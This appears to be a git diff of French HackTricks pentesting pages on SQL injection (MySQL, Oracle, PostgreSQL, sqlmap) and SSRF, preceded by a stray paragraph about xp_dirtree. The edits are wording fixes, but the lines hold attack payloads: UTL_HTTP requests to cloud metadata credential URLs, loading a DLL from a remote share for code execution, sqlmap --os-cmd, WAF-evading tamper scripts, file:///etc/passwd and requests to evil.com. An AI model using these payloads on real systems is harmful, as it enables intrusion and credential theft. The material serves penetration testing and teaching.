Les procédures stockées comme `xp_dirtree`, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers [exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) et [articles](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
La procédure stockée `xp_dirtree`, par exemple, est utilisée pour effectuer des requêtes réseau, mais elle est limitée au port TCP 445. Le numéro de port n'est pas modifiable, mais il permet de lire à partir de partages réseau. L'utilisation est démontrée dans le script SQL ci-dessous :
```sql

10
src/pentesting-web/sql-injection/mysql-injection/README.md
View File

@ -71,10 +71,10 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
### **Aveugle ajoutant**
- `LPAD(version(),1...longueur(version()),'1')='asd'...`
- `RPAD(version(),1...longueur(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...longueur(version()))='asd'...`
- `SELECT LEFT(version(),1...longueur(version()))='asd'...`
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Détecter le nombre de colonnes
@ -115,7 +115,7 @@ Pour plus d'informations, veuillez vous référer à [this blog post](https://ka
### Alternatives à information_schema
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**.
N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**.
### MySQLinjection sans VIRGULES

4
src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
View File

@ -10,7 +10,7 @@ Dans l'exploration de l'exfiltration de données SQL Out of Band, la fonction `L
La variable globale `secure_file_priv`, si elle n'est pas définie, par défaut à `/var/lib/mysql-files/`, limitant l'accès aux fichiers à ce répertoire à moins qu'elle ne soit définie sur une chaîne vide (`""`). Cet ajustement nécessite des modifications dans le fichier de configuration de la base de données ou les paramètres de démarrage.
Étant donné que `secure_file_priv` est désactivé (`""`), et en supposant que les permissions nécessaires sur les fichiers et `file_priv` sont accordées, les fichiers en dehors du répertoire désigné peuvent être lus. Pourtant, la capacité de ces fonctions à effectuer des appels réseau dépend fortement du système d'exploitation. Sur les systèmes Windows, les appels réseau vers des chemins UNC sont réalisables en raison de la compréhension par le système d'exploitation des conventions de nommage UNC, ce qui peut conduire à l'exfiltration de hachages NTLMv2.
Étant donné que `secure_file_priv` est désactivé (`""`), et en supposant que les permissions nécessaires sur les fichiers et `file_priv` sont accordées, des fichiers en dehors du répertoire désigné peuvent être lus. Pourtant, la capacité de ces fonctions à effectuer des appels réseau dépend fortement du système d'exploitation. Sur les systèmes Windows, les appels réseau vers des chemins UNC sont réalisables en raison de la compréhension par le système d'exploitation des conventions de nommage UNC, ce qui peut conduire à l'exfiltration de hachages NTLMv2.
Cette méthode SSRF est limitée au port TCP 445 et ne permet pas la modification du numéro de port, bien qu'elle puisse être utilisée pour accéder à des partages avec des privilèges de lecture complets et, comme démontré dans des recherches antérieures, pour voler des hachages pour une exploitation ultérieure.
@ -22,7 +22,7 @@ Cette technique permet l'exécution de requêtes réseau/HTTP via un UDF, à con
Par exemple, la bibliothèque `lib_mysqludf_sys` ou d'autres bibliothèques UDF permettant des requêtes HTTP peuvent être chargées pour effectuer SSRF. Les bibliothèques doivent être transférées sur le serveur, ce qui peut être réalisé par l'encodage hexadécimal ou base64 du contenu de la bibliothèque, puis en l'écrivant dans le répertoire approprié.
Le processus varie si le `@@plugin_dir` n'est pas accessible en écriture, en particulier pour les versions MySQL supérieures à `v5.0.67`. Dans de tels cas, des chemins alternatifs qui sont accessibles en écriture doivent être utilisés.
Le processus varie si le `@@plugin_dir` n'est pas accessible en écriture, en particulier pour les versions de MySQL supérieures à `v5.0.67`. Dans de tels cas, des chemins alternatifs qui sont accessibles en écriture doivent être utilisés.
L'automatisation de ces processus peut être facilitée par des outils tels que SQLMap, qui prend en charge l'injection UDF, et pour les injections SQL aveugles, des techniques de redirection de sortie ou de contournement de requêtes DNS peuvent être utilisées.

10
src/pentesting-web/sql-injection/oracle-injection.md
View File

@ -6,7 +6,7 @@
## SSRF
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais en tant que moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais en tant que moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour faire d'autres SSRF/XSPA.
Installer Oracle peut être vraiment douloureux, surtout si vous voulez configurer une instance rapide pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine Ubuntu t2.large AWS et Docker.
@ -14,7 +14,7 @@ J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pou
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Packages Oracle qui prennent en charge une spécification d'URL ou de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Packages Oracle qui prennent en charge une spécification d'URL ou de numéro d'hôte/port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Afin de trouver des packages et des fonctions qui prennent en charge une spécification d'hôte et de port, j'ai effectué une recherche Google sur la [Documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément,
```
@ -37,7 +37,7 @@ La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utili
- DBMS_STREAMS_ADM
- UTL_HTTP
Cette recherche rudimentaire ignore évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) vous dirige simplement vers un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être abusés pour effectuer des requêtes sortantes que j'ai pu manquer.
Cette recherche rudimentaire ignore évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) vous dirige simplement vers [un autre emplacement](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être abusés pour effectuer des requêtes sortantes que j'ai pu manquer.
Quoi qu'il en soit, examinons certains des packages que nous avons découverts et listés ci-dessus.
@ -128,7 +128,7 @@ Il est intéressant de noter qu'en raison de la capacité à créer des requête
**UTL_HTTP et Requêtes Web**
Peut-être la technique la plus courante et largement documentée dans chaque tutoriel Oracle SQL Injection Out of Band est le [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP effectue des appels du protocole de transfert hypertexte (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder aux données sur Internet via HTTP.`
Peut-être la technique la plus courante et largement documentée dans chaque tutoriel sur l'injection SQL Oracle hors bande est le [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP effectue des appels au protocole de transfert hypertexte (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder aux données sur Internet via HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
@ -140,6 +140,6 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
Un autre package que j'ai utilisé dans le passé avec un succès variable est la [`GETCLOB()` méthode du type abstrait `HTTPURITYPE` d'Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et fournit un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL sous forme de [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Un autre package que j'ai utilisé dans le passé avec un succès variable est la [`GETCLOB()` méthode du type abstrait `HTTPURITYPE` d'Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et fournit un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}}

6
src/pentesting-web/sql-injection/postgresql-injection/README.md
View File

@ -5,7 +5,7 @@
---
**Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Cette page vise à expliquer différents trucs qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Interaction réseau - Escalade de privilèges, scanner de ports, divulgation de réponse au défi NTLM et exfiltration
@ -13,7 +13,7 @@ Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres
### **Exemple d'exfiltration utilisant dblink et objets volumineux**
Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux puis exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
## Attaques PostgreSQL : Lecture/écriture, RCE, privesc
@ -32,7 +32,7 @@ Manipuler des chaînes pourrait vous aider à **contourner les WAF ou d'autres r
### Requêtes empilées
Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

2
src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
View File

@ -2,7 +2,7 @@
### Objets volumineux PostgreSQL
PostgreSQL offre une structure connue sous le nom de **grands objets**, accessible via la table `pg_largeobject`, conçue pour stocker de grands types de données, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet l'**exportation des données vers le système de fichiers**, garantissant qu'une réplique exacte du fichier original est maintenue.
PostgreSQL offre une structure connue sous le nom de **grands objets**, accessible via la table `pg_largeobject`, conçue pour stocker de grands types de données, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet **l'exportation des données vers le système de fichiers**, garantissant qu'une réplique exacte du fichier original est maintenue.
Pour **stocker un fichier complet** dans cette table, un objet doit être créé dans la table `pg_largeobject` (identifié par un LOID), suivi de l'insertion de morceaux de données, chacun de 2 Ko, dans cet objet. Il est crucial que ces morceaux soient exactement de 2 Ko (à l'exception possible du dernier morceau) pour garantir que la fonction d'exportation fonctionne correctement.

4
src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
View File

@ -1,4 +1,4 @@
# Réseau - Privesc, Scanner de Port et divulgation de réponse au défi NTLM
# Réseau - Privesc, Scanner de Port et divulgation de réponse NTLM
{{#include ../../../banners/hacktricks-training.md}}
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning
En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette \*\*fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()` car la documentation indique que `dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification\_.
En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()` car la documentation indique que `dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443

2
src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
View File

@ -6,7 +6,7 @@
PL/pgSQL est un **langage de programmation complet** qui va au-delà des capacités de SQL en offrant un **contrôle procédural amélioré**. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi le champ des opérations dans l'environnement de base de données.
Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer les identifiants des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant :
Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant :
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl

4
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -8,7 +8,7 @@ PostgreSQL a été développé avec l'extensibilité comme caractéristique prin
À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers vers la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
### RCE sous Linux
@ -254,7 +254,7 @@ Notez comment dans ce cas le **code malveillant est à l'intérieur de la foncti
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
Le [projet PolyUDF](https://github.com/rop-la/PolyUDF) est également un bon point de départ avec le projet complet MS Visual Studio et une bibliothèque prête à l'emploi (y compris : _command eval_, _exec_ et _cleanup_) avec un support multiversion.
Le [projet PolyUDF](https://github.com/rop-la/PolyUDF) est également un bon point de départ avec le projet complet MS Visual Studio et une bibliothèque prête à l'emploi (y compris : _command eval_, _exec_ et _cleanup_) avec support multiversion.
### RCE dans les dernières versions de PostgreSQL

6
src/pentesting-web/sql-injection/sqlmap.md
View File

@ -134,7 +134,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL\(A, B\)' par 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Enveloppe la requête complète avec un commentaire versionné |
| modsecurityzeroversioned.py | Enveloppe la requête complète avec un commentaire à zéro versionné |
| modsecurityzeroversioned.py | Enveloppe la requête complète avec un commentaire à zéro versionné |
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement \(e.g. .replace\("SELECT", ""\)\) filtres |
| percentage.py | Ajoute un signe de pourcentage \('%'\) devant chaque caractère |
@ -143,7 +143,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
| securesphere.py | Ajoute une chaîne spécialement conçue |
| sp_password.py | Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS |
| space2comment.py | Remplace le caractère espace \(' '\) par des commentaires |
| space2comment.py | Remplace le caractère espace \(' '\) par des commentaires |
| space2dash.py | Remplace le caractère espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
| space2hash.py | Remplace le caractère espace \(' '\) par un caractère livre \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
| space2morehash.py | Remplace le caractère espace \(' '\) par un caractère livre \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
@ -160,6 +160,6 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
| versionedkeywords.py | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné |
| versionedmorekeywords.py | Enveloppe chaque mot-clé par un commentaire MySQL versionné |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

27
src/pentesting-web/sql-injection/sqlmap/README.md
View File

@ -2,6 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Arguments de base pour SQLmap
### Générique
@ -75,7 +76,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indiquez une chaîne lorsque l'injection est réussie
### Indiquez la chaîne lorsque l'injection est réussie
```bash
--string="string_showed_when_TRUE"
```
@ -85,7 +86,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Coquille
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -125,7 +126,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Aide pour trouver l'injection booléenne
### Aide à la recherche d'injection booléenne
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
@ -168,23 +169,23 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est
| securesphere.py | Ajoute une chaîne spécialement conçue |
| sp_password.py | Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS |
| space2comment.py | Remplace le caractère espace (' ') par des commentaires |
| space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2hash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2morehash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2dash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2hash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2morehash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une nouvelle ligne ('\n') |
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n') |
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin (pour que cela fonctionne) |
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT' |
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
| versionedkeywords.py | Enveloppe chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
| versionedmorekeywords.py | Enveloppe chaque mot-clé avec un commentaire MySQL versionné |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT' |
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
| versionedkeywords.py | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné |
| versionedmorekeywords.py | Enveloppe chaque mot-clé par un commentaire MySQL versionné |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
{{#include ../../../banners/hacktricks-training.md}}

22
src/pentesting-web/ssrf-server-side-request-forgery/README.md
View File

@ -30,13 +30,13 @@ url-format-bypass.md
### Contournement via redirection ouverte
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web permettra **SSRF au même domaine** et suivra probablement **les redirections**, vous pouvez exploiter la **redirection ouverte pour faire accéder le serveur à n'importe quelle ressource interne**.\
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web permettra **SSRF vers le même domaine** et suivra probablement **les redirections**, vous pouvez exploiter la **redirection ouverte pour faire accéder le serveur à n'importe quelle ressource interne**.\
Lisez-en plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protocoles
- **file://**
- Le schéma d'URL `file://` est référencé, pointant directement vers `/etc/passwd` : `file:///etc/passwd`
- Le schéma d'URL `file://` est référencé, pointant directement vers `/etc/passwd`: `file:///etc/passwd`
- **dict://**
- Le schéma d'URL DICT est décrit comme étant utilisé pour accéder aux définitions ou aux listes de mots via le protocole DICT. Un exemple donné illustre une URL construite ciblant un mot spécifique, une base de données et un numéro d'entrée, ainsi qu'un exemple d'un script PHP pouvant être potentiellement mal utilisé pour se connecter à un serveur DICT en utilisant des identifiants fournis par l'attaquant : `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
@ -60,7 +60,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
- **Gopher://**
- La capacité du protocole Gopher à spécifier l'**IP, le port et les octets** pour la communication avec le serveur est discutée, ainsi que des outils comme Gopherus et remote-method-guesser pour créer des charges utiles. Deux utilisations distinctes sont illustrées :
- La capacité du protocole Gopher à spécifier l'IP, le port et les octets pour la communication avec le serveur est discutée, ainsi que des outils comme Gopherus et remote-method-guesser pour créer des charges utiles. Deux utilisations distinctes sont illustrées :
### Gopher://
@ -110,7 +110,7 @@ Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referre
## SSRF via SNI data from certificate
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend à travers une configuration simple est illustrée par un exemple de configuration Nginx :
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend à travers une configuration simple est illustrée avec un exemple de configuration Nginx :
```
stream {
server {
@ -121,7 +121,7 @@ ssl_preread on;
}
}
```
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité à la Server-Side Request Forgery (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl` est donné ci-dessous :
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité au Server-Side Request Forgery (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl` est donné ci-dessous :
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -206,7 +206,7 @@ app.run(threaded=False)
```
</details>
Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet de faire de **l'hôte initial le nom d'utilisateur** et d'en injecter un nouveau. Requête d'attaque :
Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet de faire de **l'hôte initial le nom d'utilisateur** et d'injecter un nouveau. Requête d'attaque :
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
@ -218,7 +218,7 @@ Code vulnérable :
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
Il a été découvert qu'il est possible de **commencer le chemin** d'une requête avec le caractère **`;`** ce qui permet ensuite d'utiliser **`@`** et d'injecter un nouvel hôte pour y accéder. Requête d'attaque :
Il a été découvert qu'il est possible de **commencer le chemin** d'une requête avec le caractère **`;`** ce qui permet ensuite d'utiliser **`@`** et d'injecter un nouvel hôte à accéder. Requête d'attaque :
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -245,7 +245,7 @@ var_dump($response);
```
</details>
PHP permet l'utilisation du **caractère `*` avant un slash dans le chemin** de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut être utilisé que pour le chemin racine `/` et que les points `.` ne sont pas autorisés avant le premier slash, il est donc nécessaire d'utiliser une adresse IP encodée en hexadécimal sans point par exemple :
PHP permet l'utilisation du **caractère `*` avant une barre oblique dans le chemin** de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut être utilisé que pour le chemin racine `/` et que les points `.` ne sont pas autorisés avant la première barre oblique, il est donc nécessaire d'utiliser une adresse IP encodée en hexadécimal sans point par exemple :
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -261,7 +261,7 @@ Si vous avez des **problèmes** pour **exfiltrer du contenu d'une IP locale** à
### DNS Rebidding Automatisé
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour re-lier l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour rebinder l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.
Consultez également le **serveur public en cours d'exécution à** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@ -284,7 +284,7 @@ Attaque :
Notez que pendant cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Pour **plus d'informations**, jetez un œil à la présentation où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
